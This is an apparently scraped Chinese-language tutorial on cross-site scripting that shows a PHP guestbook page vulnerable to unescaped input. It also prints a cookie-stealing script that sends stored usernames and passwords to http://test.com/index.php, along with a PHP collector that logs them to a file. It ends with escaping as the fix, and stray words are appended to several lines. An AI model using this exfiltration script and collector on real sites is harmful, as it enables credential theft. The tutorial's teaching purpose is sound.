跨站腳本攻擊(Cross Site Script爲了區別於CSS簡稱爲XSS)指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。javascript
咱們有個頁面用於容許用戶發表留言,而後在頁面底部顯示留言列表php
<!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?></head> <style type="text/css"> .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{ font-size: 14px; color:#ccc; font-style: italic; border-bottom: dashed 1px #ccc; margin: 4px; } </style> <script type="text/javascript" src="/js/cookies.js"></script> <body> <form method="post" action="list.php"> <div style="margin:20px;"> <div style="font-size:16px;font-weight:bold;">Your Comment</div> <div style="padding:6px;"> Nick Name: <br/> <input name="name" type="text" style="width:300px;"/> </div> <div style="padding:6px;"> Comment: <br/> <textarea name="comment" style="height:100px; width:300px;"></textarea> </div> <div style="padding-left:230px;"> <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/> </div> <div style="border-bottom:solid 1px #fff;margin-top:10px;"> <div style="font-size:16px;font-weight:bold;">Comments</div> </div> <?php require('/components/comments.php'); if(!empty($_POST['name'])){ addElement($_POST['name'],$_POST['comment']); } renderComments(); ?> </div> </form> </body> </html>
addElement()方法用於添加新的留言,而renderComments()方法用於展留言列表,網頁看起來是這樣的css
由於咱們徹底信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入html
這樣不管是誰訪問這個頁面的時候控制檯都會輸出「Hey you are a fool fish!」,若是這只是個惡意的小玩笑,有些人作的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子java
固然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。咱們知道不少登錄界面都有記住用戶名、密碼的功能方便用戶下次登陸,有些網站是直接用明文記錄用戶名、密碼,惡意用戶註冊帳戶登陸後使用簡單工具查看cookie結構名稱後,若是網站有xss漏洞,那麼簡單的利用jsonp就能夠獲取其它用戶的用戶名、密碼了。json
惡意用戶會這麼輸入安全
咱們看看http://test.com/hack.js裏藏了什麼cookie
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.phpapp
發送了一個get請求xss
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
這樣惡意用戶就把訪問留言板的用戶的信息竊取了
上面演示的是一個很是簡單的XSS攻擊,還有不少隱蔽的方式,可是其核心都是利用了腳本注入,所以咱們解決辦法其實很簡單,不信賴用戶輸入,對特殊字符如」<」,」>」轉義,就能夠從根本上防止這一問題,固然不少解決方案都對XSS作了特定限制,如上面這中作法在ASP.NET中不幸不一樣,微軟validateRequest對錶單提交自動作了XSS驗證。但防不勝防,總有些聰明的惡意用戶會到咱們的網站搞破壞,對本身站點不放心能夠看看這個XSS跨站測試代碼大全試試站點是否安全。